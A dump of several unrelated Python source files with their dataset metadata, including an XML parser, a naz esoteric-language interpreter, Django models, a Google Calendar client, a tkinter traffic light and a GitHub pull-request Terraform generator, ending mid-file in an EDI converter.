Mark = ParameterRecord.getElementsByTagName('ParamMark')[0]\n data_dict['ParamMark'] = Mark.childNodes[0].data\n\n ReadOnly = ParameterRecord.getElementsByTagName('ReadOnly')[0]\n data_dict['ReadOnly'] = ReadOnly.childNodes[0].data\n\n ShowInPC = ParameterRecord.getElementsByTagName('ShowInPC')[0]\n data_dict['ShowInPC'] = ShowInPC.childNodes[0].data\n\n ChoiceTableIndex = ParameterRecord.getElementsByTagName('ChoiceTableIndex')[0]\n data_dict['ChoiceTableIndex'] = ChoiceTableIndex.childNodes[0].data\n except IndexError as e:\n print (e)\n finally:\n Number = ParameterRecord.getElementsByTagName('ParamNumber')[0]\n ParameterRecord_dict[Number.childNodes[0].data] = data_dict\n\n print (ParameterRecord_dict)\n print(\"*****ChoiceRecord*****\")\n for ChoiceRecord in ChoiceRecords:\n\n data_dict = dict()\n ChoiceName = ChoiceRecord.getElementsByTagName('ChoiceName')[0]\n data_dict['ChoiceName'] = ChoiceName.childNodes[0].data\n ChoiceDescription = ChoiceRecord.getElementsByTagName('ChoiceDescription')[0]\n data_dict['ChoiceDescription'] = ChoiceDescription.childNodes[0].data\n\n ChoiceValue = ChoiceRecord.getElementsByTagName('ChoiceValue')[0]\n data_dict['ChoiceValue'] = ChoiceValue.childNodes[0].data\n\n Index = ChoiceRecord.getElementsByTagName('Index')[0]\n ChoiceTable_dict[Index.childNodes[0].data] = data_dict\n print(ChoiceTable_dict)\n\nread_xmlfile(\"FC280_0140.xml\")\n\n'''dirname = g.diropenbox(\"Please Open MM Folder\")\nos.chdir(dirname)\n\nfind_MMfile('.','FIRMWARE.MME')\nfor MM_ID in read_file_dict['MMM ID'][8:18]:\n MM_ID_Str = MM_ID_Str + ' ' + \"%d\" % MM_ID\nMM_msg = \"Read MM ID Success\\nMM ID is\" + MM_ID_Str\nwhile(flag):\n replay = g.choicebox(MM_msg, title='Danfoss MM PC tools',choices=command_list)\n if replay not in command_list:\n quit()\n elif replay == 'All File':\n pass\n else:\n replay = replay.split(' ')[1] + \".mme\"\n find_MMfile('.',replay)\n'''\n","sub_path":"Read_xml.py","file_name":"Read_xml.py","file_ext":"py","file_size_in_byte":5459,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"179599617","text":"#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n# @Time : 2020/7/13 17:30\n# @Author : lirixiang\n# @Email : 565539277@qq.com\n# @File : 40-FindNumsAppearOnce.py\n\"\"\"\n一个整型数组里除了两个数字之外,其他的数字都出现了两次。请写程序找出这两个只出现一次的数字。\n\"\"\"\n# -*- coding:utf-8 -*-\nclass Solution:\n # 返回[a,b] 其中ab是出现一次的两个数字\n def FindNumsAppearOnce(self, array):\n # write code here\n noRepeatList = []\n for i in range(len(array)):\n if array[i] not in noRepeatList:\n noRepeatList.append(array[i])\n\n result = {}\n for i in range(len(noRepeatList)):\n count = 0\n for j in range(len(array)):\n if noRepeatList[i] == array[j]:\n count += 1\n result[noRepeatList[i]] = count\n\n resList = []\n for i in result:\n if result[i] == 1:\n resList.append(i)\n return resList\n\n\n\n","sub_path":"src/剑指offer/40-FindNumsAppearOnce.py","file_name":"40-FindNumsAppearOnce.py","file_ext":"py","file_size_in_byte":1013,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"256025647","text":"from django.conf.urls import url\n\nfrom . import views\n\nurlpatterns = [\n url(r'^$', views.hot, name='hot'),\n url(r'^grab$', views.index, name='index'),\n url(r'^(?P\\d+)/(?P\\d+)$', views.detail, name='detail'),\n url(r'^(?P\\d+)/$', views.detail, name='detail'),\n]\n","sub_path":"beauty/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":285,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"642472492","text":"import time\nimport beat_the_room\nimport RPi.GPIO as GPIO\n\n\nclass Puzzle1(beat_the_room.Puzzle):\n\n def init(self):\n # Annika und Johann Versuch zum Klopfrätsel\n # Sollte einmaliges Klopfen erkennen\n # hinweis filmdatei\n # die Rätsel sind linear\n self.hints = [beat_the_room.make_hint(\n self, \"test.avi\"), beat_the_room.make_hint(self, \"hinweis2.avi\")]\n # print(\"Init(15)\")\n # INITIALISIERE SENSOREN / HARDWARE\n global GPIO_PIN\n GPIO_PIN = 15\n self.counter = 0\n GPIO.setmode(GPIO.BCM)\n GPIO.setup(GPIO_PIN, GPIO.IN)\n self.timing = 0\n\n def interact(self):\n print(\"interacting(15)\")\n GPIO.add_event_detect(GPIO_PIN, GPIO.FALLING,\n callback=self.lösen, bouncetime=1)\n # time.sleep(10)\n # sobald diese variable gesetzt ist, ist das Rätsel fertig! Hier muss wahrscheinlich immer eine while Schleife rein!\n while self.solved == False:\n time.sleep(1)\n\n print(\"Fertig(15)\")\n\n def lösen(self, null):\n print(\"Klopfen\")\n print(self.counter)\n print(time.perf_counter()-self.timing)\n if self.timing != 0 and self.counter%3!= 0:\n if time.perf_counter() - self.timing < 1.5:\n self.timing = time.perf_counter()\n self.counter +=1\n else:\n self.timing = 0\n self.counter = 0\n elif self.timing == 0:\n self.timing = time.perf_counter()\n self.counter +=1\n else:\n if time.perf_counter() - self.timing > 1 and time.perf_counter() - self.timing < 5:\n self.timing = time.perf_counter()\n self.counter +=1\n else:\n self.timing = 0\n self.counter = 0\n \n \n if self.counter == 9:\n print(\"Successse!\")\n self.lösen = True\n if self.counter%3==0:\n time.sleep(0)\n print(\"Whoho wir haben ein Ergebnis!\")\n\n def deinit(self):\n print(\"deinitlasing(15)\")\n # DEINITIALISIERE SENSOREN / HARDWARE\n GPIO.cleanup()\n\n\ntest = True\nif test:\n Puzzle2 = Puzzle1()\n Puzzle2.init()\n time.sleep(1)\n Puzzle2.interact()\n print(\"succsess\")\n Puzzle2.deinit()\n","sub_path":"Klopfrätsel.py","file_name":"Klopfrätsel.py","file_ext":"py","file_size_in_byte":2339,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"475990940","text":"# naz but it's python -> naz.ly (no points for guessing why it's called that)\n# credit to sporeball for original js interpreter\n# ported by Lyxal, because transilteration programs just don't cut it\n# also, this isn't a direct port because JS is weird. Like really weird.\n# I spelled weird correctly, didn't I?\n\nimport string\nimport textwrap\nimport re\nimport sys\n\n\n\nfilename = \"\"\nopcode = register = 0\n\nnum = fnum = vnum = 0\n\njnum = 0\ncnum = None\n\ni = 0\nline = col = 1\n\nprog_input = input()\n\nhalt = func = False\n\ndef run_step(letter):\n global prog_input\n global register\n global num, fnum, vnum, jnum, cnum\n global halt, func, opcode\n\n # WARNING: Always read the entire program before porting\n\n if letter == \"a\":\n register += num\n\n elif letter == \"d\":\n register //= num\n\n elif letter == \"m\":\n register *= num\n\n elif letter == \"s\":\n register -= num\n\n elif letter == \"p\":\n register %= num\n\n elif letter == \"f\":\n fnum = num\n if opcode in [0, 3]:\n if not functions[fnum]:\n raise SyntaxError(\"Use of undeclared function\")\n\n for i in range(0, len(functions[fnum]) + 1, 2):\n val = functions[fnum][i:i+2]\n num, instruction = val\n num = int(num)\n run_step(letter)\n elif opcode == 1:\n func = True\n\n\n elif letter == \"h\":\n halt = True # I woulda exit()'d, but I didn't\n return\n\n elif letter == \"o\":\n for _ in range(num):\n print(chr(register) if chr(register) in string.printable\\\n else register, end=\"\")\n\n # Because who uses output variables anyway?\n\n elif letter == \"v\":\n vnum = num\n if opcode == 0:\n if variables[vnum] is None:\n # None, because -999 is valid in naz.ly\n raise NameError(\"Variable is not defined\")\n # Because python has proper errors.\n\n register = variables[vnum]\n elif opcode == 2:\n variables[vnum] = register\n opcode = 0\n\n elif opcode == 3:\n if variables[vnum] is None:\n # None, because -999 is valid in naz.ly\n raise NameError(\"Variable is not defined\")\n # Because python has proper errors.\n\n cnum = variables[vnum]\n\n if letter in \"leg\":\n if opcode != 3:\n raise SyntaxError(\"Conditionals must be run in opcode 3\")\n\n if cnum is None:\n raise ValueError(\"Number to check against must be defined\")\n\n jnum = num\n\n elif letter == \"l\":\n if register < cnum: conditional()\n\n elif letter == \"e\":\n if reigster == cnum: conditional()\n\n elif letter == \"g\":\n if register > cnum: conditional()\n\n elif letter == \"n\":\n if variables[num] is None:\n raise NameError(\"Variable is not defined\")\n\n variables[num] *= -1 # Hehe.\n\n elif letter == \"r\":\n if not prog_input:\n raise EOFError(\"EOI when reading input\")\n\n if len(prog_input) < num:\n raise EOFError(\"EOI when reading input\")\n # Because indexing too far raises an error. :'(\n\n register = ord(prog_input[num - 1]) # Hooray for built-ins!\n prog_input = prog_input[:num - 1] + prog_input[num:]\n\n elif letter == \"x\":\n if num > 3:\n raise SyntaxError(\"Invalid opcode\")\n\n opcode = num\n\nfunctions = dict(zip(range(0, 10), [\"\" for n in range(0,10)]))\nvariables = dict(zip(range(0, 10), [None for n in range(0,10)]))\n# I'm lazy and I didn't want to write two 10 line dictionaries.\n\ndef conditional():\n global opcode\n global num\n global cnum\n\n opcode = 0\n num = jnum\n run_step(\"f\")\n cnum = None\n\nif __name__ == \"__main__\":\n sys.setrecursionlimit(10000) # Because 1000 calls is for the weak\n\n command_pobj = re.compile(r\"\\d[admspfhovlegnrx]\") #o.o Regex!\n\n if len(sys.argv) > 1:\n import argparse\n parser = argparse.ArgumentParser()\n parser.add_argument(\"file\", help=\"The location of the naz file to open\")\n # Yes, stolen right from Keg. Shuddup about it.\n\n # Place flags here using the good 'ol parser.add_argument chain\n\n args = parser.parse_args()\n loc = args.file\n\n else:\n loc = input(\"Enter the file location of the naz program: \")\n\n code = open(loc).read().replace(\"\\n\", \"\")\n\n code = textwrap.wrap(code, 2)\n\n while i < len(code):\n if code[i] == \"\\r\\n\":\n func = False\n line += 1\n col = 1\n\n if opcode == 1: opcode = 0\n\n if code[i] == \"0x\":\n func = False\n\n if not command_pobj.findall(code[i]):\n print(code[i])\n raise SyntaxError(\"Invalid command\")\n\n num = int(code[i][0])\n col += 1\n\n run_step(code[i][1])\n col += 1\n\n if halt: break\n i += 1\n","sub_path":"nazly.py","file_name":"nazly.py","file_ext":"py","file_size_in_byte":4940,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"626013306","text":"__author__ = \"theLorax\"\n\n\n#################Create an acronym of a phrase###########################\n\n\ndef acronyms():\n user_input = str(input(\"Enter a Phrase: \"))\n text = user_input.split()\n acronyms = \"\"\n for i in text:\n acronyms = acronyms+(i[:1].upper())\n\n print(acronyms)\n\n\n################# Questions 1 ###########################\nlist_divisable = []\ndef divisable():\n\n for i in range(2000, 3201):\n if (i % 7 == 0) and (i % 5 != 0):\n list_divisable.append(str(i))\n\n print(','.join(list_divisable))\n\n\n\n################# Questions 2 Factorial of a given number. ###########################\n\n\n\ndef fraction (x):\n if x == 0:\n return 1\n return x * fraction(x - 1)\n\n#num = int(input(\"Enter a number and get the factorial of it: \"))\n\n#print(fraction(num))\n\n\n\n\n################# Questions 3 Generate a dictionary ###########################\n\n\ngen_dictionary_dic = {}\n\ndef gen_dictionary(x):\n for i in range(1, x+1):\n gen_dictionary_dic[i] = i*i #append to dictionary\n\n print(gen_dictionary_dic)\n\n#num_input = int(input(\"Enter a number: \"))\n#gen_dictionary(num_input)\n\n\n\n################ Questions 4 comma-separated numbers ###########################\n\nlist_4 = []\ndef tuple_list(x):\n for i in range(1, x):\n y = int(input(f\"Enter {i} numbers: \"))\n list_4.append(y)\n tuple_4 = tuple(list_4)\n\n print(f\"Here is a list: {list_4}\")\n print(f\"Here is a tuple: {tuple_4}\")\n\n#input_4 = int(input(\"How many number would you like in the list? \"))\n#tuple_list(input_4 +1)\n\n\n################ Questions 5 Object Oriented Programming ###########################\n\nclass StringObjectClass:\n def __init__(self):\n self.object = \" \"\n\n def getString(self):\n self.object = input(\"Hi, What is your Name: \")\n \n def printString(self):\n print(self.object)\n\nstringObject = StringObjectClass()\n#stringObject.getString()\n#stringObject.printString()\n\n\n\n\n################ Questions 6 Math Square Root ###########################\nimport math\nc=50\nh=30\n\ndef question_6(): \n sqrt_list = []\n value = [x for x in input(\"Enter 3 numbers to Calculate: \").split() ]\n\n for i in value:\n sqrt_list.append(str((round(math.sqrt(2*c*int(i)/h)))))\n\n \n q6_formating = (', '.join(sqrt_list))\n print(f\"Your calculations are: {q6_formating}\")\n\n#question_6()\n\n################ Questions 7 ###########################","sub_path":"practice_programs.py","file_name":"practice_programs.py","file_ext":"py","file_size_in_byte":2436,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"576970419","text":"from django.db import models\n\nfrom company.models import Company\nfrom core.models import Skill\nfrom form.models import Job\nfrom token_auth.models import UserProfile\nfrom .enums import *\n\n\nclass Vacancy(models.Model):\n name = models.CharField(max_length=128, null=False, blank=False)\n description = models.TextField(null=False, blank=False)\n short_description = models.TextField(null=True, blank=True)\n schedule_type = models.IntegerField(null=False, blank=False)\n experience_type = models.IntegerField(null=False, blank=False)\n employment_type = models.IntegerField(null=False, blank=False)\n skills = models.ManyToManyField(Skill, through='VacancySkills')\n\n salary = models.IntegerField(null=False, blank=True, default=0)\n approved = models.BooleanField(null=False, blank=False, default=False)\n partnership = models.TextField(null=False, blank=True)\n is_active = models.BooleanField(null=False, blank=False, default=True)\n\n company = models.ForeignKey(Company, null=False, db_constraint=True, on_delete=models.CASCADE,\n related_name='vacancies')\n views = models.IntegerField(null=False, blank=True, default=0)\n created = models.DateTimeField(auto_now=True)\n\n url = models.CharField(max_length=128, null=False, blank=True)\n is_external = models.BooleanField(null=False, blank=True, default=False)\n\n class Meta:\n db_table = 'vacancy'\n\n\nclass VacancySkills(models.Model):\n vacancy = models.ForeignKey(Vacancy, on_delete=models.CASCADE, null=False)\n skill = models.ForeignKey(Skill, on_delete=models.CASCADE, null=False)\n\n class Meta:\n db_table = 'vacancy_skills'\n\n\nclass VacancyJobs(models.Model):\n vacancy = models.ForeignKey(Vacancy, on_delete=models.CASCADE, null=False)\n job = models.ForeignKey(Job, on_delete=models.CASCADE, null=False)\n\n class Meta:\n db_table = 'vacancy_jobs'\n unique_together = ['vacancy', 'job']\n\n\nclass VacancyFavorites(models.Model):\n vacancy = models.ForeignKey(Vacancy, on_delete=models.CASCADE, null=False)\n user = models.ForeignKey(UserProfile, on_delete=models.CASCADE, null=False)\n\n class Meta:\n db_table = 'vacancy_favorites'\n unique_together = ['vacancy', 'user']\n\n\nclass Request(models.Model):\n comment = models.TextField(null=True, blank=True)\n decision = models.CharField(max_length=16, choices=Decision.choices(), default=Decision.NO_ANSWER.value)\n seen = models.BooleanField(null=False, blank=False, default=False)\n created = models.DateTimeField(auto_now=True)\n user = models.ForeignKey(UserProfile, null=False, db_constraint=True, on_delete=models.CASCADE,\n related_name='requests')\n vacancy = models.ForeignKey(Vacancy, null=False, db_constraint=True, on_delete=models.CASCADE,\n related_name='requests')\n\n class Meta:\n db_table = 'request'\n","sub_path":"vacancy/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2918,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"467172411","text":"from testInput import input\nn,m = map(int,input().split())\narr =[]\nfor i in range(n):\n arr.append(input())\ncolumn=[0]*m\nrow =[0]*n\nfor _ in range(int(input())):\n l = list(map(int,input().split()))\n x1,y1,x2,y2 = [x-1 for x in l]\n row[x1]+=1\n if x2+1\n# \n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation; either version 2 of the License, or\n# (at your option) any later version.\n# \n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n# \n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,\n# MA 02110-1301, USA.\n# \n# \n\nimport turtle as t\n\ndef main(args):\n font = ('times', 15)\n t.hideturtle()\n t.penup()\n t.goto(-200, 150)\n t.setheading(270)\n for i in range(2, 12):\n s = ''\n for j in range(1, i):\n s += str(j) + ' '\n t.write(s, font=font)\n t.forward(20)\n t.done()\n return 0\n\nif __name__ == '__main__':\n import sys\n sys.exit(main(sys.argv))\n","sub_path":"unit05/Exe_5_50.py","file_name":"Exe_5_50.py","file_ext":"py","file_size_in_byte":1235,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"548875804","text":"# Google API\nfrom googleapiclient.discovery import build\nfrom google_auth_oauthlib.flow import InstalledAppFlow\nfrom google.auth.transport.requests import Request\n\n# Token Pickle\nfrom os import path\nimport pickle\n\nimport dateutil.parser\nimport pytz\n\nfrom config import NUMBER_OF_FUTURE_EVENTS, SCOPES, ACTIVITY_COLORS\nfrom utils import (\n HEXCODE_TO_COLOR_DICT,\n get_monday_of_this_week,\n get_today,\n get_one_week_from_today,\n Task,\n getStartOfWeekX,\n getEndOfWeekX,\n)\n\n\nclass calendarAPI:\n def __init__(self):\n self.tasks = self.getTasks()\n\n # Service\n\n def getService(self):\n credentials = self.getCredentials()\n if not credentials.valid:\n self.resolveCredentials(credentials)\n service = build(\"calendar\", \"v3\", credentials=credentials)\n return service\n\n # Credentials\n\n def getCredentials(self):\n with open(\"token.pickle\", \"rb\") as token:\n credentials = pickle.load(token)\n return credentials\n\n def resolveCredentials(self, credentials):\n try:\n self.refreshCredentials(credentials)\n except:\n flow = InstalledAppFlow.from_client_secrets_file(\"credentials.json\", SCOPES)\n credentials = flow.run_local_server()\n finally:\n self.saveCredentials(credentials)\n\n def refreshCredentials(self, credentials):\n credentials.refresh(Request())\n\n def saveCredentials(self, credentials):\n with open(\"token.pickle\", \"wb\") as token:\n pickle.dump(credentials, token)\n\n # Events\n\n def getEventsFromService(self, service):\n events_result = (\n service.events()\n .list(\n calendarId=\"primary\",\n timeMin=get_monday_of_this_week(),\n maxResults=NUMBER_OF_FUTURE_EVENTS,\n singleEvents=True,\n orderBy=\"startTime\",\n )\n .execute()\n )\n events = events_result.get(\"items\", [])\n return events\n\n def getEventTime(self, event, time):\n \"\"\" get event time (start/end) and convert to datetime, timezone aware object \"\"\"\n event_time = event[time].get(\"dateTime\", event[time].get(\"date\"))\n event_time = dateutil.parser.parse(event_time).replace(tzinfo=pytz.utc)\n return event_time\n\n def getEventStartTime(self, event):\n time = event[\"start\"].get(\"dateTime\", event[\"start\"].get(\"date\"))\n time = self.addTimezone(time)\n return time\n\n def getEventEndTime(self, event):\n time = event[\"end\"].get(\"dateTime\", event[\"end\"].get(\"date\"))\n time = self.addTimezone(time)\n return time\n\n def addTimezone(self, time):\n time = dateutil.parser.parse(time).replace(tzinfo=pytz.utc)\n return time\n\n # Tasks\n\n def getTasks(self):\n service = self.getService()\n tasks = self.getTasksFromService(service)\n return tasks\n\n def getTasksFromService(self, service):\n tasks = []\n events = self.getEventsFromService(service)\n colors = service.colors().get(fields=\"event\").execute()\n for event in events:\n name = event[\"summary\"]\n start = self.getEventStartTime(event)\n end = self.getEventEndTime(event)\n try:\n color_hexcode = colors[\"event\"][event[\"colorId\"]][\"background\"]\n color = self.getColorName(color_hexcode)\n except:\n print(f\"{name} uses other color\")\n color = \"LAVENDAR\"\n task = Task(name, color, start, end)\n tasks.append(task)\n return tasks\n\n def getTasksForNext7Days(self):\n tasks = []\n for task in self.tasks:\n task_less_than_one_week_from_today = (\n get_today() <= task.start and task.end <= get_one_week_from_today()\n )\n if task_less_than_one_week_from_today:\n tasks.append(task)\n return tasks\n\n def getTasksForWeekX(self, week):\n tasks = []\n start = getStartOfWeekX(week)\n end = getEndOfWeekX(week)\n for task in self.tasks:\n task_in_week_X = start <= task.start and task.end <= end\n if task_in_week_X:\n tasks.append(task)\n return tasks\n\n def getColorName(self, hexcode):\n \"\"\" hex code color -> name of color \"\"\"\n if hexcode in HEXCODE_TO_COLOR_DICT:\n return HEXCODE_TO_COLOR_DICT[hexcode]\n\n def getActivityTimeForTasks(self, tasks):\n activity_time = dict()\n for color, activity in ACTIVITY_COLORS.items():\n if activity != \"\":\n activity_time[activity] = 0\n for task in tasks:\n if task.color == color:\n if activity in activity_time:\n activity_time[activity] += task.total_time\n else:\n activity_time[activity] = task.total_time\n return activity_time\n\n # Data\n\n def getPieChartDataForNext7Days(self):\n tasks = self.getTasksForNext7Days()\n activity_time = self.getActivityTimeForTasks(tasks)\n data = [[\"activity\", \"time spent\"]]\n for activity, time in activity_time.items():\n activity_time = [activity, time]\n data.append(activity_time)\n return data\n\n def getColumnChartDataForNextXWeeks(self, x_weeks):\n data = []\n legend = [\"Week\"]\n for week in range(1, x_weeks + 1):\n tasks = self.getTasksForWeekX(week)\n week = [str(week)]\n activity_time = self.getActivityTimeForTasks(tasks)\n for activity, time in activity_time.items():\n if activity not in legend:\n legend.append(activity)\n week.append(time)\n data.append(week)\n data.insert(0, legend)\n return data\n","sub_path":"google_calendar.py","file_name":"google_calendar.py","file_ext":"py","file_size_in_byte":5909,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"579866052","text":"r\"\"\"Our application domain. Includes games, publishers, platforms.\"\"\"\nfrom model import Model\nfrom fieldTypes import StringField\n\n\nclass Game(Model):\n r\"\"\"A class for games, i.e. software titles.\"\"\"\n\n title = StringField(name=\"title\")\n\n def __init__(self, title, publisher, platforms_dates):\n self.title = title\n self.publisher = publisher\n self.platforms_dates = platforms_dates\n\n\nclass Publisher(Model):\n r\"\"\"A company that sells games.\"\"\"\n\n def __init__(self, name):\n self.name = name\n\n\nclass Platform(Model):\n r\"\"\"A platform for games, e.g. PC, Wii, PlayStation,...\"\"\"\n\n def __init__(self, name):\n self.name = name\n","sub_path":"domain.py","file_name":"domain.py","file_ext":"py","file_size_in_byte":675,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"347251433","text":"import itertools\nimport tkinter\n\n# constants\nwidth_window = 500\nheight_window = 500\nx_up_right = 100\ny_up_right = 50\nwidth_traffic = 300\nheight_traffic = 400\n# Нужно доработать, фргументы передавaть ars and kwars\n\nclass TrafficLight:\n def __init__(self, x=x_up_right, y=y_up_right, a=width_traffic, b=height_traffic):\n self.x = x\n self.y = y\n self.a = a\n self.b = b\n self.color = 'black'\n self.id_oval = None # идетификатор фонаря\n self.colors = itertools.cycle(['red', 'yellow', 'green'])\n self.time_work = 2000 # время работы\n\n def count_coordinates(self):\n \"\"\"Координаты светофора\"\"\"\n coordinates = [self.x, self.y]\n right_down = [self.x + self.a, self.y + self.b]\n coordinates.extend(right_down)\n return coordinates\n\n def draw_light(self):\n \"\"\"Отрисовываем фонарь\"\"\"\n self.id_oval = canvas.create_oval(150, 150, 350, 350, fill=str(next(self.colors)))\n\n def draw_ground(self):\n \"\"\"Отрисовываем корпус светофора\"\"\"\n canvas.create_rectangle(*(self.count_coordinates()), fill=self.color)\n\n def main(self):\n self.draw_ground()\n if self.id_oval is globals():\n canvas.itemconfig(self.id_oval, fill=str(next(self.colors)))\n else:\n self.draw_light()\n canvas.after(self.time_work, self.main)\n\n\nroot = tkinter.Tk()\nroot.title('TrafficLight')\ncanvas = tkinter.Canvas(root, width=width_window, height=height_window)\ncanvas.pack()\nunit_1 = TrafficLight()\nunit_1.main()\nroot.mainloop()\n","sub_path":"trafficlight.py","file_name":"trafficlight.py","file_ext":"py","file_size_in_byte":1687,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"639716413","text":"from SourceControlMgmt.SourceControlMgmt import SourceControlMgmt\nfrom jinja2 import FileSystemLoader, Environment\nfrom datetime import datetime\n\ndef pre():\n # No data to pull from anything\n return locals()\n\ndef main(**kwargs):\n repo_name = 'aci_legacy_tenant_epg'\n repo_owner = 'tigelane'\n friendly_name = 'Legacy ACI Tenant EPGs'\n now = datetime.now()\n str_now = now.strftime(\"%Y%m%d-%H%M%S\")\n\n templateLoader = FileSystemLoader(searchpath=f'./repos/dc_2020_aci_legacy_tenant/gui')\n templateEnv = Environment(loader=templateLoader)\n template = templateEnv.get_template('terraform.j2')\n\n description = kwargs['description']\n ip_address = kwargs['ip_address']\n ip_octects = ip_address.split('.')\n name = kwargs['name']\n name_ip_w_underscores = f\"{name}_{ip_octects[0]}_{ip_octects[1]}_{ip_octects[2]}\"\n scope = kwargs['routing']\n new_branch = f'{name_ip_w_underscores}_{str_now}'\n\n\n tf_file_name = f'network_{ name }.tf'\n\n terraform_file = template.render(\n name_ip_w_underscores=name_ip_w_underscores,\n name=name,\n ip_address=ip_address,\n description=description,\n scope=scope\n )\n\n s = SourceControlMgmt(\n username=kwargs['github_username'],\n password=kwargs['github_password'],\n email=kwargs['github_email_address'],\n repo_name=repo_name,\n repo_owner=repo_owner,\n friendly_name=friendly_name\n )\n\n if s.validate_scm_creds():\n print('creds validated')\n s.clone_private_repo(\"/tmp\")\n s.create_new_branch_in_repo(new_branch)\n s.write_data_to_file_in_repo(terraform_file, file_path='', file_name=tf_file_name)\n s.push_data_to_remote_repo()\n s.delete_local_copy_of_repo()\n s.get_all_current_branches()\n pr_results = s.create_git_hub_pull_request(\n destination_branch=\"master\", \n source_branch=new_branch, \n title=f\"Pull Request {name_ip_w_underscores}\", \n body=\"\")\n return pr_results \n else:\n return {'Results:': 'Invalid Credentials'}\n\nif __name__ == \"__main__\":\n vars = pre()\n main(**vars)\n","sub_path":"gui/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2158,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"257202710","text":"from apscheduler.schedulers.blocking import BlockingScheduler\n\nimport sendgrid_helper\nimport stack_exchange_api\nimport stack_overflow_page\n\nschedule = BlockingScheduler()\n\n\n@schedule.scheduled_job('interval', hours=3)\ndef access_stack_overflow_page():\n stack_overflow_page.login()\n\n\n@schedule.scheduled_job('interval', hours=3)\ndef access_stack_overflow_api():\n delta_hours = 12\n if stack_exchange_api.have_logged_in(12) is False:\n message = \"You haven't logged in for at least \" + str(delta_hours) + \" hours! \\n \" + \\\n \"Access stackoverflow.com to save your login streak\"\n print(\"ERROR!\\n\" + message)\n sendgrid_helper.send_mail(\"Login overdue alert!\", message)\n\n\nschedule.start()\n","sub_path":"clock.py","file_name":"clock.py","file_ext":"py","file_size_in_byte":728,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"157818447","text":"from heapq import heappush, heapify\n\nclass FraudException(Exception):\n pass\n\nclass Candidate:\n def __init__(self, id):\n self._id = id\n self.votes = 0\n\n def __eq__(self, other):\n return self.votes == other.votes\n \n def __lt__(self, other):\n return self.votes < other.votes\n \n def __qt__(self, other):\n return self.votes > other.votes\n\nclass VotingMachine:\n def __init__(self):\n self.leaderboard = list()\n self.candidates = dict()\n self.voters = set()\n\n def add_vote(self, voter_id, candidate_id):\n if voter_id in self.voters:\n raise FraudException('Fraud by voter {}'.format(voter_id))\n self.voters.add(voter_id)\n\n if candidate_id not in self.candidates:\n candidate = Candidate(candidate_id)\n heappush(self.leaderboard, candidate)\n self.candidates[candidate_id] = candidate\n candidate = self.candidates[candidate_id]\n candidate.votes += 1\n\n def top(self):\n return [x._id for x in self.leaderboard[-3:]]\n\n def process_votes(self, votes):\n for (voter_id, candidate_id) in votes:\n self.add_vote(voter_id, candidate_id)\n\ndef process_all_votes(votes):\n vm = VotingMachine()\n vm.process_votes(votes)\n return vm.top()\n\nsolution = process_all_votes\ntestcase1 = {\n 'input': {\n 'votes': [\n (0, 0),\n (1, 1),\n (2, 0),\n (3, 1),\n (4, 2),\n (5, 2),\n (6, 2),\n ],\n },\n 'expected': [2, 0, 1],\n}\ntestcases = [testcase1]\n","sub_path":"daily_coding_problem/300/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":1427,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"74819852","text":"import logging\r\nimport json\r\nimport pandas as pd\r\nimport azure.functions as func\r\nfrom azure.storage.blob import BlobServiceClient, BlobClient, ContentSettings, ContainerClient\r\nfrom datetime import datetime\r\nimport os\r\nimport uuid\r\nimport tempfile\r\n\r\ndef build_current_node(elements: str, conf: str):\r\n data = {}\r\n data_element = {}\r\n for index, element in enumerate(elements,0):\r\n if (str(index) in conf):\r\n conf_current_node = conf[str(index)]\r\n conf_current_element = conf_current_node['Value']\r\n if (index == 0):\r\n data[element] = {}\r\n else:\r\n if (\"Options\" in conf_current_node):\r\n if (element in conf_current_node['Options']):\r\n options_results = dict(conf_current_node['Options'])\r\n data_element[conf_current_element] = options_results.get(element)\r\n else:\r\n data_element[conf_current_element] = element.strip()\r\n \r\n #print(f'{index} {element} {conf_current_element}')\r\n data[elements[0]] = data_element\r\n #print(data_element)\r\n #print(json.dumps(data, indent = 4) )\r\n return elements[0], data_element\r\n\r\ndef convert_edi_data_2_json(file_data: str,conf_data: str):\r\n data = {}\r\n \r\n segments = file_data.split('~')\r\n for segment in segments:\r\n elements = segment.split('*')\r\n # print(elements[0])\r\n if elements[0] in conf_data:\r\n conf_filter = conf_data[str(elements[0])]\r\n current_element, current_payload = build_current_node(elements, conf_filter)\r\n data[current_element] = current_payload\r\n #print(current_node)\r\n return data\r\n\r\ndef convert_json_2_csv(json_data: dict,conf_data: str):\r\n conf_mapping = dict(conf_data['MAPPING'])\r\n #print(conf_mapping)\r\n elements = pd.json_normalize(json_data)\r\n elements.columns = elements.columns.str.split('.').str[-1]\r\n result_df= 